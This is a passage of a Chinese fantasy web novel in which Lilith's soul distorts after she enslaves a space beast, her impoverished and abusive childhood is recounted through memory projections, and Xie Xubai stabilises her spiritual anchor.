异兽十万分不情愿,但在莉莉丝的死亡注视下只能灰溜溜地跑回来。 也正是这一时间,原本熄火后风平浪静的各个黑塔层级竟然再度暴动,黑红色雾气自地底汹涌腾升,二次污染就此爆发! 谢叙白目光一凛,意念催动精神力,欲要操控辅助作战系统,协助玩家抵抗来势汹汹的进攻。 但莉莉丝似乎早有预料,比他更快地出手了! 当空间异兽的赐福降下,金色徽记同时出现在莉莉丝的手背上时,一股澎湃的神力加成瞬间灌入谢叙白的意识海,惊涛骇浪般充盈灵魂! 他的成神进度一下子从92%跳到了94%! 谢叙白愕然看向莉莉丝:“你怎么……” 莉莉丝虽说奴役了空间异兽,却没有和任何神祇签订眷属契约,自然可以成为神眷者。 然而谢叙白与她共事多年,心知这人傲骨铮铮,就算是最高阶位的神圣天使想要和她结契,她也只是笑着反问一句:“和你结契,能让我一直立于权力巅峰吗?” 莉莉丝不以为意:“只是黎明到来前暂时成为你的信徒罢了。” “成大事者不拘小节,以及事急从权,这还是老师教给我们的。” 刚才和谢叙白打完一波配合,莉莉丝已经大概了解到这套系统的运行机制,很快就上了手。 她熟稔地使用金色神力操作辅助作战系统,连接玩家们的意识,轻描淡写地说:“好了,这里我来负责,你先去找其他人,有什么事随时回来找我。” 见莉莉丝的操作游刃有余毫无差错,谢叙白便知道不需要担心,郑重其事地点头:“好,那就拜托你了。” 空间异兽的赐福让谢叙白可以使用初级的地点传送。 他询问影子其他使徒和巅峰成员现在的地点,接着运转神力,唰一下消失在原地。 影子稍微落后一步,扭头,似有若无地和莉莉丝对视一眼。 莉莉丝没有抬头:“收敛一下你那可笑肮脏的占有欲吧,我对他没有那方面的意思。他是老师唯一的子嗣,我从始至终都把他当亲弟弟看待。” “难道你不应该感谢我吗?邪神。如果当初我没有让空间异兽锁定他灵魂的坐标,这浩瀚无穷的宇宙外域,你要去哪儿夺回他的灵魂?” 影子看着她。 似乎觉得她说得有道理,黑雾氤氲涌动,一本正经地写出答谢: 『多谢师姐,叙白之前承蒙你的关照。』 莉莉丝凝视着师姐两字,想要秉持素来的优雅,露出不失礼貌的微笑。 两边嘴角在一阵堪称痉挛的颤抖后,终究忍无可忍地垮了下来。 “谁是你师姐?” 影子已然散去,追谢叙白去了。 莉莉丝心口起伏不定,不断默念告诉自己:再看不过眼,那也是white自己选的伴侣,不能气,不能气。 半晌,她吐出口郁气,垂下眼睫。 湛蓝瞳孔恒星交织,虚虚实实的星光掠入时空长河,映出过往的倒影。 恍惚间,她仿佛又回到了那一天。 许许多多后勤人员在她周围仓促奔走,杂乱无章的脚步声从远至近,通讯员的吼声嘶哑破音。 “第三使徒中途离开战场,献祭身体强行困住了空间巨兽,灵魂抗不住压力正在溃散!” “她想奴役空间巨兽?开什么玩笑,那可是宇宙级恶兽!” “我的上帝,她怎么敢的啊?” “第三使徒周围的空间正在急剧扭曲坍塌!站得太近会被吸进去,都撤退!不要靠近!去请监察员!” “等一下,快看天上是什么?……命运女神!命运女神出现了!” 第250章 成神进度:94% 空间异兽作祟,莉莉丝身体里的每一个器官乃至于指甲、头发、细胞都在发生变形错位,如骨头插入肺里、血管胡乱拼接、DNA基因链断裂,频率快如蜂鸟振翅。 莉莉丝感觉自己像是被丢进一个巨大的绞肉机,意识在锋利的切刀下支离破碎,疼痛悲伤疯狂恐惧通通杂糅在一起。 她大叫,她崩溃,她哭泣,她无能为力。 谢语春在人群的沸腾声里现身时,几乎崩溃的莉莉丝并没有看见她,只是浑浑噩噩中感觉到一团非常强烈的荧光在向她靠近。 再然后嘈杂的人声如潮水退去,天空和地面消失无影,璀璨闪烁的繁星闪烁微光,出现在她们的脚底。 ——谢语春将她带到了时空裂隙。 在谢语春神力的牵引下,莉莉丝饱受摧残的灵魂从身体里抽离出来,得到片刻的喘息。 她清醒过来的第一眼,看见的便是自己扭曲异变的身体。 烂泥一滩,血肉模糊,早已不成人形,与里面的空间异兽一起被冻结时间,定格在防护屏障内。 然而空间异兽的力量作用于灵魂,哪怕将灵魂与身体分离,也不能完全隔绝影响。 所以没过多久,莉莉丝的脑子再次翻江倒海。明明是灵魂态,却能感受到酸液上涌灼烧咽喉,疯狂想吐。 身体不是自己,脑子也不是,什么都不是。 唯有谢语春的怀抱是混乱中唯一清晰可靠的东西。 于是她像个受惊的鹌鹑般拼命地往谢语春的怀里挤,哭得声嘶力竭,笑得狂躁疯癫。 彼时她的灵魂已经有畸变的倾向,如果抗不下这一次精神污染,毫无疑问她将就此扭曲,变成彻头彻尾的怪物。 为了帮莉莉丝稳住人格,谢语春运转时间之力,借过往的片段帮对方重新在现实中建立锚点。 于是莉莉丝模模糊糊的,又想起了那个女人。 那个女人,姑且可以算作她的母亲。莉莉丝曾经被女人丢过一次,后来对方不知道从哪儿听说养父母的孩子喜欢往她的饭和鞋子里放图钉,又把她给接了回去。 那是一个明媚的好天气,晨光熹微,暖风和煦,几个孩子滑着滑板从街道嬉笑而过。 莉莉丝恍惚一会儿,才鼓起勇气去看门外站着的女人,穿着低廉的衣服,蓬头垢面,两只手拘谨地揪住衣服下摆,双眼充满疲惫和麻木。 明明头顶的太阳那样热烈,却一点都落不进她阴郁的眼底。 那是莉莉丝第一次清楚地意识到,原来人的眼睛真的可以像死鱼一样。 那女人看见她,没有任何嘘寒问暖,只嚅嗫嘴唇:“走吧,下午一点半我还要去超市卸货。” 便头也不回地往外走。 莉莉丝匆匆忙忙地跟上去,大汗淋漓,越跑越慢,最后忍不住捂着肚子蹲在地上。 大概十多分钟后,几乎要走到路口的女人折返回来。 仿佛从她额头冒汗轻微发抖的不正常反应里发现了什么,女人呼吸一滞,飞快捞起她的衣服,看着肚子上那一大块青青紫紫的伤痕,霎时间空洞麻木的眼神终于一变再变。 “是谁做的?”那女人问。 莉莉丝沉默片刻,回头看了一眼。 养父母家的孩子站在小洋楼的二楼窗户边,穿着漂亮的公主裙,头戴昂贵可爱的小动物发卡,朝她们肆无忌惮地扬了扬下巴。 女人也顺着莉莉丝的视线看见了那个孩子。 这里不是法治健全的大都市,只是一个偏僻落后的乡镇,连福利院都没有。 整个镇子只有一所学校,一个武器店,皆归镇长所有。 小镇差不多85%的岗位都和镇长家族的产业挂钩,连运输生活物资的渠道也被镇长牢牢把持在手里。 莉莉丝的养父母不是镇长,是镇长聘用的司机和保姆,却有钱建别墅买汽车,甚至还有一个牧场,雇人帮他们看管。 女人当然知道这件事,不然当初也不会将莉莉丝故意丢在养父母家的门口,可惜她没有精力多了解这家人的品行。 或是愤怒驱使,或是冲动上头,隔着半条街的距离,女人和养父母的孩子直勾勾地对视好几秒,但很快偃旗息鼓。 她像鸵鸟般怯懦地埋下脑袋,背也佝偻下去,如同被什么东西压着,对莉莉丝匆匆低声说:“走吧,不疼了就站起来,快点走。” 莉莉丝怔愣地看着女人。 某一瞬间,她确实从对方突然激动的眼神中,感受到一股令她感动期待的勇气。 然而不等她记住那个眼神,女人已经转过身,闷着脑袋往前走。 莉莉丝蹲在原地,凝视那人落荒而逃的背影,忽然很想笑。 半晌,她揉一揉依旧很痛的肚子,快步追到女人的身边,手指迟疑地往上伸了伸,握住对方的手掌,粗糙、黢黑,约莫是惊讶于莉莉丝突然的依赖,猛然停了下来。 但没有挣开她。 莉莉丝将女人的手握紧,和声细语地说:“你不要误会,是我自己摔的。” 女人担惊受怕的脸瞬间活泼起来,竟像是得到某种救赎:“真的吗?” 莉莉丝状似什么都没有察觉到地扬起笑脸:“真的。” 是摔的。 养父母的孩子突然从背后撞了她一下,她没站稳,肚子撞到课桌角,从而摔出来的瘀伤。 周围的同学都看见了。 是她自己摔的。《 》 250-260 第251章 成神进度:94% 莉莉丝曾经抿心自问,自己为什么会那么喜欢权力? 是因为不想学狗叫,却被养妹的那群跟班泼了一盆凉水,又被揪着脑袋剪掉头发吗? 是因为以为自己被亲生母亲带走后,就能过上正常的生活,却在第二天得知母亲被辞退的消息吗? 是因为被觉得丢脸的养父母家日渐刁难,和生母的日子愈发难过起来,连走在路上都会被呵斥嘲笑吗? 是因为被迫和母亲去最近的城市讨生活,却被cop皱着眉头,以“流浪汉禁止停留”为理由,像野狗般被狼狈地驱逐到贫民窟吗? …… 那些因为没有依仗而经历过的苦痛,只要说起来就会没完没了。 莉莉丝不喜欢把惨挂在嘴边:这世界就是你弱一头,谁都会忍不住过来打一巴掌。比如当同学们知道她只是个不受宠的养女后,她就再没有过安生日子。 况且她们的经历并不特殊,也不稀奇,贫民窟从来不缺像她们这样命途多舛的家伙,她甚至能在恶臭扑鼻的垃圾堆里看到破产的千万富翁。 毫无疑问,那位从云端掉落的上流人士成了所有人茶余饭后的乐子。 经常有混混在看见那个潦倒肌瘦的家伙时会得意洋洋地大笑:“看吧,虽然我的人生烂得无可救药,但我现在和千万富翁过着相同的生活!” 但那个被无数人鄙夷嘲笑的家伙,却成为莉莉丝人生中的第一个机遇。 眼界、学识、经验,亦或是可追求的向上晋升的渠道。 这些她以前根本没有资格触碰的东西,通通都在对方这里得到了解答。 毫无疑问,落魄的富豪欣赏莉莉丝的上进心。 也有可能是贫民窟里大部分人把他当笑话,只有莉莉丝每天都会忍痛分一半的麦饼给他——他吃人嘴短。 落魄富豪随即成为莉莉丝的导师,教会她很多东西。虽然以前的生意伙伴将他视若肮脏的乞丐,不愿意接见他,但一些曾经受过恩惠的朋友,并不介意施下举手之劳,为莉莉丝母女俩安排一个租金低廉且安全的住所。 至于他为什么有能力租房却甘愿睡在垃圾堆和帐篷里,落魄富豪给出的理由是欠债太多。如果被银行得知他有余钱,那么他就别想再领补助金了,哪怕只是微薄的一点。 不过幸好莉莉丝母女俩的出现让他可以蹭个房子住,不必再风餐露宿。 莉莉丝好不容易捋清规则,愕然道:“这不合理!” 百分之九十五以上的正规工作都需要有稳定的住所,有稳定的住所后就不能领补助金,没有补助金就租不起房子,导致不能打工,简直是个死循环! 按照那些人的规定,除非天降横财,否则他们一辈子就只能烂在贫民窟里。 落魄富豪随手抹了一把沾有食物碎屑的胡子,瘫在沙发上拍拍肚皮,看起来潦倒颓丧又透彻:“聪明的姑娘,这就是为什么大家都那么热衷于买PB,恭喜你看见了生活的本质。” “现在的生活已经很不错了,你看,家人还在,你有学上,有衣服穿,有东西吃,有房子住。” 落魄富豪说道:“要随遇而安,知足常乐,不要去强求自己没有的东西,它们就像天上的星星一样虚无缥缈。” 那并非一句随口的感慨,更是经验者察觉到新人的心魔,给出了饱含无奈和怜悯的忠告。 但是莉莉丝听不进去。 彼时在落魄富豪的帮助下,她的生母成功给她转移户籍,在当地办理就近入学。 那是一所排名中等的公立学校,进度落后的莉莉丝学得很吃力。 但好在她的天赋不差,愿意下苦功夫琢磨,又有富豪手把手教导,大概半个学期就勉强赶上进度,又一个学期,直接名列前茅。 更幸运的是,即便不是教育资源优渥的名牌学校,校方也会为有潜力的学生提供上进的渠道,比如一学年的交换生,以及校方盖章的推荐信。 迫切想要改变处境的莉莉丝看中了这个机会,将要进行测试评定的那个月,她学到堪称疯魔的地步,一旦学不进去或是困意袭来,便嚼冰块、吃生姜,或者用纺锤狠狠地扎自己,直到不困为止。 然而万万没有想到,测试还没开始,她的申请就被打了回来。 在负责人的办公室,莉莉丝反复吸气,告诉自己不能着急,可还是忍不住红了眼眶,一字一顿地问:“为什么?” 负责人随意地点开电脑资料:“是这样的,我们了解过你的家庭……” 多年来压抑的郁气瞬间爆发,莉莉丝不复往日的淡定,吼声尖锐:“我的家庭怎么了?就算我没有父亲,就算我家里没钱,我依旧是学年第三!” 负责人瞬间被吓了一跳,半晌,无奈地摊开手,反问她:“那么莉莉丝,你过去学习的话,要住在哪里呢?你的家庭付得起那边的租金和生活费吗?” “……”莉莉丝的大脑瞬间一空。 “原本你可以申请补助金,但申请需要向你们以前的居住地获得审批,不知道为什么那边一直拖着没有给消息……” “也可以申请住校,开销全免。但……你的成绩在我们学校是很优秀,可是在对方的学校只能排在一百名开外,没有人帮你引荐作保的话,大概率申请不上。” 莉莉丝:“没关系,我可以自己想办法!只要您帮我把申请递交上去!” 负责人为难地捏着眉心,半晌,终于说出实话:“本来我们学校没有推荐生名额,是有个家长以学校的名义向上捐款,才有的这个机会。所以三个名额要留一个下来……抱歉莉莉丝,或许你可以再等一年。” “再等一年……”莉莉丝张了张嘴,怔愣着,“可是再等一年,我就毕业了啊。” “你可以选择延毕。”负责人说,“如果你愿意再等一年,我会帮你向校方打报告申请,免去你这一年的学杂住宿费,然后给你额外的资金补贴。” 对方说着无意识地扬起下巴,仿佛在说:这样你该满足了吧? 并期待着莉莉丝的感恩戴德。 莉莉丝:“……” 霎时间她的喉咙像被塞满刀片,吐出的每一个单词都将口腔刮得鲜血淋漓,可她还得忍痛维持住基本的体面:“延毕不是会对档案有影响吗?以后也去不了XX大学。” 负责人先是一愣神,像是听到离谱的狡辩,好脾气的脸顿时垮塌下来,笔尖用力敲打起桌面,暗含警告地呵斥她:“莉莉丝,我们给出的条件和你现在的处境比起来已经很优渥了!就算你去到那边上学,凭你百名开外的成绩也不可能考进XX大学,那是在白日做梦!” …… 纵观这颠沛流离的一生,那时候遇到的挫折对莉莉丝而言只能算一个微不足道的坎儿,甚至于和后面的无限游戏降临、地球将要毁灭比起来,连坎儿都算不上。 但是她对此印象深刻,或许是因为落魄富豪在那不久后就去世了,死于慢性病和心脏病并发。 这些病很早以前就有征兆,但因为没钱医治,落魄富豪只能靠止痛药硬挺,8美分就能熬过一天。 但由此引发的副作用也非常明显,他走的时候体重甚至不到50KG,很高的一个人,摆在棺材里,像一根晒干的枯枝。 烈阳高照,莉莉丝看着棺材里了无生气的人,忽然冷得直发抖,下意识抱紧自己,拽紧衣服的手指用力到发白,泪水打湿衣袖,无声地呐喊—— 苦难究竟是什么东西呢? 为什么我这辈子都好像摆脱不了它? 落魄富豪生前告诉莉莉丝,其实每个人都有概率经历苦难,在生死命运面前上帝一向公平,没有绝对的一帆风顺。 但每个人的承受力、家境和抗风险能力是不同的,所以有时候灾难落下去,对那些人而言只是轻飘飘的一拳头,被打倒后还有机会站起来。 而落在那些本来就很苦的人身上,就会显得特别特别苦,苦到受不了了,也就是人被彻底压垮的时候。 落魄富豪原意是安慰莉莉丝看开一点,但莉莉丝在他的坟墓前反复念着这句话,回顾以往种种,慢慢悟出来一个道理: ——苦难的根源,在于钱权不足。 潦倒简陋的葬礼,参与者只有寥寥几个。 她的生母在旁边捂着脸失声痛哭,她教父的棺材被一铲又一铲的土埋没。 灿烂的日光被飘来的乌云遮挡,空气中弥漫开湿冷的水汽,大片的阴影照在莉莉丝颤抖着、缓缓高扬的嘴角。 看吧。 无人可以反驳她的话。 莉莉丝从此对钱权痴迷。 没法力争推荐名额,是钱不够。 教父的葬礼没人关照,是权不足。 母亲不愿意换一件新衣服,是钱不够。 项目和晋升机会被同事抢走,是权不足。 是钱不够。 是权不足。 不够。 不足。 …… 【那究竟要到什么时候才足够呢?】 住房死一般沉寂,本就拥挤的空间在压抑的气氛下堪称逼仄。 为了竞选州长,莉莉丝在两年前换了个套看起来亲民的房子。出行起居一切从简,实操政务不敢有一点马虎大意,政绩次次拔得头筹,休息时间还要脚不沾地落实公益项目和惠民政策,以此拉来选票。 她靠喝咖啡提神,眼下已经有了黑眼圈,但看着不太明显,因为打上厚厚的遮瑕,但疲惫和沧桑是遮不住的。 她看向对面埋着脑袋不敢看她的母亲,将一叠资料摆在对方的面前,上面的照片如实记录母亲和其他候选者私底下见面的情景。 她轻声问:“为什么?” 母亲眼眶通红,拼命摇头,莉莉丝便一遍又一遍地追问。 见对方始终不愿意开口,那张微笑得体的面具终于破碎,温柔的语气骤然尖锐起来! “为什么?你告诉我为什么?!我是你的女儿啊!你要这么害我?!你知不知道为了今天的机会筹备了多久?又努力了多久?你知不知道啊??” 在她咄咄逼人的语气下,母亲终于落下泪来:“你,你太年轻了,我问过他们,没有那么年轻的州长。” 刹那间莉莉丝宛如坠入冰窟窿,瞳孔扩大,好半天都说不出话,只感觉脑子一阵嗡鸣发黑。 恍惚下,她好像再次回到那名负责人的面前,对方随意抛来一个不信任的眼神,就差点将她击垮。 莉莉丝不知道是气是哭,浑身发抖,努力让声音平静下来:“没有,是没有,我当然知道没有!凡事在第一次出现前都没有!我达到了报名标准,做得比他们任何人都好,凭什么不能开这个先河?!” 母亲好似被她激进的语气镇住了,好半天眼眶越来越红,泪水越掉越多,固执地陷在某个想不通的怪圈里:“可是没有,现实里没有,就是没有……” “那些人的条件比你好那么多,他们都做不到,你为什么能做到……你这么年轻去和他们争,会被报复的……” 莉莉丝盯着女人畏畏缩缩担惊受怕的脸,嘴唇颤抖,好半天都说不出话来,眼前越来越黑。 为什么要那么想? 莉莉丝不明白。 当初你不敢替我撑腰选择逃跑的时候,他们放过你了吗?你的工作不是照样没了吗?我们直接被逼到活不下去,只能离开。 不是一味退让,就不会被欺负、报复的呀…… 她不稳地晃了一下,差点栽倒,艰难地扶住桌子,听到身边传来女人恐惧的叫声:“莉莉丝!” 莉莉丝鼻前一热,低下头,看见鲜红的血液啪嗒啪嗒滴在桌面和手背上,满脑子只有一句话。 【还不够……】 连一路见证她走来的亲生母亲,都不相信她能做到。 她做得还不够好,她的能力不足,她握着的钱权太少。 还要更多。 更多。 更多。 …… 看完莉莉丝的过去,谢语春突然明白,为什么对方宁肯冒着畸变异化的风险,也要找机会强行奴役空间异兽。 眼下,宛若落魄富豪的话一语成谶,莉莉丝终于要坚持不下去了。 第252章 成神进度:94% 过去的遭遇非但不能为莉莉丝建立起精神锚点,反而还会加重她的痛苦和不稳定。 谢语春急忙中断记忆投影。 莉莉丝的灵魂正在畸变,拖延下去比死更恐怖。 短时间内谢语春只有两个办法。 其一帮莉莉丝彻底做个了结,但被污染的灵魂会不会在下次循环受到影响,是个未知数。 其二如冻结身体般,封停对方灵魂的时间。 就像让癌症病人躺进冷冻仓,等到日后医疗科技发展到能够解决病症的那一天,再让其苏醒治疗。 两相对比,后者存活的希望更大一些,谢语春当机立断出手。 但就在她催动神力的一刹那,莉莉丝似有所觉,不知道从哪儿挤出力气,狠狠地拽住了谢语春的手腕。 【我……】 莉莉丝的意识波动颤抖着。 她想了很多。 从出生到现在,从卑微低贱再到手握重权,每一次的不甘、屈辱和遗憾都好似烙印般刻在心头,催动她拼命地争取,不停地奔跑。 可是那些看起来那么沉重的、无法释怀的过去,在被压缩成记忆投影后其实只有轻飘飘的一丁点重量,走马灯般从脑海中闪现而过,花费时间甚至不需要十秒。 是啊。 史书中那么多出类拔萃的豪杰,那么多卓越超群的人物,他们波澜壮阔的经历诉诸纸面,也不过是寥寥一张纸、一句话而已。 由始至终,她到底在不服些什么呢? 【……谢执行官,请您现在认真地听我说。】 莉莉丝忍住灵魂深处疯狂泛起的战栗和混乱,牙齿几乎咬穿下唇,尽量平稳清晰地表达自己的谋划。 【经过之前的36782次检测推断,可以断定无限游戏困缚玩家的主要架构是“时间”、“空间”以及“概念规则”。】 【然而包括我在内的其他空间系玩家,成长路径已经被系统完全截断,这种情况下想要破解游戏的“空间”架构几乎是不可能的。】 【所以我及特战侦查部的众人一直在尝试和宇宙域外建立联系,有幸在上一个副本中趁系统疏忽,突破限制,抓到这只空间异兽。】 【不出意外的话,祂将成为改变所有人命运的关键之一。】 【我能感受到自己的精神意识正在发生难以扭转的畸变,我已经没有机会了。】 【可是抓住空间异兽的机会千载难逢,侦察部队呕心沥血日以继夜,才捕捉到这一线时机。】 【重来一次我们不会再有这样的好运,系统一定会有所防备。 就算你冻结我的时间,拖到这一次游戏终结,也大概率找不到解决的办法,而且迟则生变。】 【综上所述,我在此以联合会域外特战防卫军1师2连副司令官的名义,请求您以我的身躯和灵魂为媒介炼制成空间神器,以此控制住空间异兽,作为人类对抗无限游戏的终极武器。】 最后一段意念传达过去的瞬间,谢语春陡然陷入难言的沉默。 生怕对方不同意,莉莉丝用力地掐着谢语春的手腕,意念开始痉挛、破碎,好似每一个字都是从齿缝中挤出来的一样:【无论如何,请您不要拒绝我,呼,呼,在取得胜利的意志上,我的决心,绝对不输给您,和其他人。】 【……我明白了,莉莉丝副司令官,您所要表达的意愿我已全部知悉。】 没有多少时间给她们纠结反悔,谢语春反手握住莉莉丝的手掌,回应了战士不屈顽强的意愿:【但是莉莉丝,你听好,现在情况还没有到万不得已的地步,你也并非完全没有机会。】 【我依旧决定冻结你的时间,安置在相对安全的时空裂缝中,并由我随身看护。 直到这一次游戏终结前,如果我们始终找不到解救你的办法,我才会遵循你此刻的请求炼制空间神器。】 【请问您是否同意我的安排?】 畸变从指尖、脚趾朝内并往上延伸,已经蔓延到胸口,很快就会侵入识海,莉莉丝痛苦地点了点头。 谢语春压住眼底的不忍和悲痛,快声问道:【你还有什么心愿吗?】 万千繁星沉默地闪烁,莉莉丝恍惚抬头,瞳孔映出眼前这一片死寂虚无的宇宙。 她不是没有想过,自己的终途究竟要用如何宏大壮观的场面来谢幕。 要在无数人的簇拥下,走过富丽堂皇的联邦中央局的大厅。 要踏上华美的红毯,走在万千新闻镜头的聚焦下。 要各个圈子有头有脸的人物都来捧场献媚,要无数受她恩惠的人竞相歌颂她的杰出。 然而当这坎坷奔忙的一生终于挺到结束,在这安静到可怕的时空裂隙里,她的第一念头竟然不是落寞。 【我听说您能干预个人的命运……】 落魄富豪去世后,莉莉丝忽然生出极大的恐惧感,她意识到这世间再可怕的挫折都敌不过“死亡”这个单词,死了才是什么都没有了。 那段时间,她将母亲看管得特别紧,执着于打零工攒钱催促母亲去检查身体,从最开始的一年一次,到半年一次,最后两个月一次。 母亲没有机会完成的学业,莉莉丝会逼迫她去学。 在莉莉丝手头宽裕后,她毫不犹豫地请来服装设计师、高级美容师、社交礼仪老师……一边自己学,一边也要压着怯懦的母亲和她一起学会打扮自己,培养谈吐,丰富阅历。 如果莉莉丝有一整个衣帽间,那么母亲也必定和她一样,拥有一整个衣帽间。 这么做,不是因为莉莉丝有多么爱她的母亲,她私心上想要让自己的家境看起来没有那么窘迫寒酸,希望母亲能够撑得住场面。 其次她迫切想要让母亲拥有足够的抗风险能力,能够活得长久一些。 哪怕这个女人有再多的不好,甚至丢弃过自己,莉莉丝也会记得,当初是母亲将自己带离地狱般的养父母家。 就算自己走得太快,走远了,看见她没有跟上来,也会折返回来找她。 之后她们母女俩远走他乡,不管活得多么艰难,母亲再也没有过丢下她的想法。 就算屋子漏风,那不也是个家吗? 可是一切都太晚了。 莉莉丝也是很久以后,才发现自己忽略了一个很重要的事实:她和母亲奋斗的起点是不同的。 在她意识到自己该去争抢的时候,她还年轻,观念眼界并未框定,没多久后又极其幸运地遇到此生第一个贵人,从对方那里学到了很多书本上根本不会提及的商贸和处事经验,即将走入歧途的三观也被拉了回来。 【但母亲不像我这样幸运,她被以前的家庭压迫着,从那个时代熬过来,被摧残得太久了……】 母亲私下会见其他竞争候选者的事情发生后,莉莉丝终于意识到“懦弱”是母亲永远也无法改变的底色。 她在绝望中彻底放弃改变了对方的想法,又因此不停地内耗痛苦,乃至于恨上对方,拒绝和她见面。 直到不久之后无限游戏降临。 没有母亲在生死关头勇敢起来,拼死救下女儿,然后母女俩人抱头痛哭,终于解除误会的老掉牙情节。 莉莉丝的母亲懦弱胆怯得一如既往,她们俩被丢进同一个副本里,母亲在遇到怪物后直接吓得惨叫一声,扭头跑走了,根本没顾上身后还有个女儿。 那一刻,莉莉丝看着母亲落荒而逃的背影,冷得手脚冰凉,浑身战栗。 最后她靠自己临危不惧找到藏身点躲过怪物,得以活下来。 接连两次背叛,让莉莉丝彻底对那个女人死心,决定再也不敢对方的死活,专心致志研究该怎么通关副本活下来。 可恰恰在她集结其他玩家一起探索副本,绕回原点的时候,一群人猝不及防在屋子里看见女人血淋淋的尸体。 莉莉丝一懵。 虽然刚才他们已经见过死人了,但看见那血肉脏器飞溅,挂满墙壁、地面的凄惨场景,以及女人死不瞑目的样子,还是忍不住泛呕。 有个私家侦探站出来,通过现场遗留的痕迹,判断女人应该是无意走进屋子的时候,被伺机潜伏在门后的怪物咬中。 玩家被传送进副本的地点各不相同,他们都以为女人是探索途中突然遭遇袭击,感慨她的运气不好,却不知道女人就是从这个怪物出现的屋子里跑出去的。 霎时间,莉莉丝只觉得大脑一片空白,酸液疯狂从胃里上涌,一抬头对上女人被啃得支零破碎的脸,终于忍不住大吐特吐,滚烫液体蛰痛眼睛,分不清是汗是泪。 ——既然都决定逃跑了,知道这里有危险,为什么还要回来呢? 【我想要的,她给不了,她想过安稳不得罪人的生活,我也做不到。我们俩在一起,只有相互折磨。】 【所以我恳请您帮我一个忙……】 莉莉丝请求谢语春能回到过去,改变那个女人的命运。 要在适合的年龄读书,开拓眼界。要有爱自己的勇气。 不要再去找那个男人,就算结婚也要和适合的对象,能成为鸵鸟的避风港,能免她苦,免她吃不饱穿不暖,免她风餐露宿。 要生一个健康的、没那么有野心的孩子,让她余生都快乐幸福。 只要能做到这点,那么莉莉丝此生也就了无遗憾,可以放心地闭眼了。 然而谢语春还没来得及回答,谢叙白的意念毫无征兆地从旁掷来。 笼罩着她灵魂的精神力温暖和煦,直线传递到她识海的情绪却充满刻薄讥讽。 【你在做梦吗?还是在许愿?】 【改变那个女人的命运,你就不会出生,到时候空间异兽谁来封印?引发的时间悖论又由谁来抹除?让你母亲来吗?】 【对啊,很大概率你的母亲真有这样的才能,毕竟你们拥有同样的血缘和基因!】 【谢执行官,一头空间异兽不够保险,我强烈恳求将莉莉丝的母亲复活送到研究院——】 嘭! 奄奄一息命若悬丝岌岌可危行将就木的莉莉丝忽然挣扎着拔地而起,一拳头将谢叙白抡飞! 她怒目狰狞,额角青筋暴跳,精神锚点刹那建成,强烈的意志力轰然爆发,飓风般驱散精神污染,灵魂畸变骤然刹停! 第253章 成神进度:96% 猛然暴起的莉莉丝很快后继乏力地摔了回去,眼前一片昏黑。 却见金光自模模糊糊的黑暗中耀眼亮起,飞一般涌入她的意识海,寻到那枚好不容易建成的精神锚点,电光火石间筑起坚实的壁障! 随着锚点的稳定和安全性得到加固,莉莉丝的意识也越来越清晰,视野恢复清明。 她茫然一瞬,忽然反应过来,惊愕地看向谢叙白。 少年瘫坐在地上,恰巧收回施展神力的手。 为了树立威严,谢叙白绝大多数时候都表现得平静沉稳,哪怕在笑,也能感觉到他出鞘利剑般的气势。 唯有那一刻,他大大地松上一口气,咧开嘴笑得十分开心:“太好了,赶上了。” 那笑容不带任何立场、敌意,甚至有几分天真。 莉莉丝怔愣着,垂头看向自己畸变停止的灵魂体,恍惚回神。 ——她得救了。 —— 彼时谢叙白已经成长到让天才都忍不住警惕的地步,也用实力和战绩证明了自己确实不愧担任第一使徒的权责。 在那漫长艰难的磨合过程中,几乎所有使徒成员都对谢叙白有着极高的正面评价。 莉莉丝除外。 她对谢叙白的敌意,甚至早在听到对方的称号开始。 其原因大概在于对方不仅是她最厌憎的关系户,亦与她派系立场不同。 为了共同的胜利目标,她可以暂时放下成见联手合作,但没有和平共处的可能。 直至这一次空间异兽事件发生后,双方关系得到极大的缓和,谢语春看中她的心性,问她愿不愿意成为自己的学生,并给出一个莉莉丝无法拒绝的理由。 ——联合会鹰派掌权人里有叛徒。 这件事不是谢语春的臆想猜测,她已经找到实质性的证据,只是暂时按捺不动,避免打草惊蛇。 莉莉丝听到这事后沉默下去,没有怀疑谢语春的说法,只因她本人对此也隐约有所预感。 莉莉丝力挺鹰派主战的决策,和在联合会的一切争权夺利,都为还这世界一个宁静,能让诸如她母亲这样胆子不大的鸵鸟,也有安心生存下去的环境。 这也是她为什么有能力复活母亲和教父,却迟迟没有行动的原因。 但现在情况似乎反过来了,坚持主战解决无限游戏的一方变成鸽派,而鹰派里却出现不少奇怪的声音,顾左右而言他,相互推诿扯皮,甚至还要倒戈向系统,美曰其名为:顺应主的安排。 这是莉莉丝绝对不能容忍的事情。 于是在几天深思熟虑后,她与谢叙白等人私下缔结同盟合约,以双腿被废且实力大打折扣为理由,渐渐退居幕后。 —— 在双方化干戈为玉帛的磨合期间,还发生过一件事。 事件的苗头,可以追溯到谢语春将炼制成功的第一件命运神器,【窥见未来之眼】,正式交给了她。 谢叙白也在场。 对于是交给自己而不是white,莉莉丝感到十分惊讶。 在谢语春将未来眼拿出来的一刻,她敏锐地发现谢叙白的兴致不高,甚至是有些压抑,出于自尊和理性的考量,直言询问谢语春原因。 没想到是谢叙白回答了她:“我已经和宴朔缔结契约,拥有操控过去时空的能力,如果连未来也一并掌控……可能会造成某些无法挽回的影响。” 莉莉丝:“什么影响?” 谢叙白没有说话,谢语春笑着接口道:“比如神力暴涨导致人格升华,突破成高维形态,变成我这样的时空洄游者。寿命无穷不说,还能将这万千世界的无数可能性尽收眼底,赏遍日月风光,这可是一般人这辈子都不一定能拥有的待遇呢。” 说着,她伸手去大力揉搓谢叙白的脑袋,笑眯眯地说:“可惜咱们的white还肩负着神圣艰巨的使命,不能像他妈妈一样潇洒快活咯!” 青年没有反抗,直至头发被谢语春锲而不舍地揉成鸟窝,终于忍不住丢给她一个无奈的眼神。 莉莉丝第一次知道,外人眼中端庄肃穆的命运女神和稳重成熟的使徒公会总指挥,私底下竟然是这么个相处模式。 恍惚震惊的同时,隐隐有些羡慕。 她心想,这两人愿意在她面前袒露私底下的真实一面,应该是把她当成自己人了吧? 被认可信赖固然令莉莉丝感到高兴,但她也深知自己担负着重大责任,不敢有一点马虎大意。 除非战况需要,她几乎彻日彻夜将自己关在屋子里,刻苦专研时间法则。 便是在这一状态下,她突然接到谢叙白的精神力传呼。 后者的识念带着难以掩饰的焦急,直言谢语春出事了,需要她的帮助。 莉莉丝下意识回应一声,没等她询问具体情况,紧跟着就被谢叙白操控神力不由分说地拽进时空裂缝。 星河流淌的广袤宇宙,除了谢叙白,还有一个人在,正是裴玉衡。后者穿着白色研究服,戴着实验用的护目镜,无菌防护服也没来得及脱,显然也是匆忙间被谢叙白拉过来的。 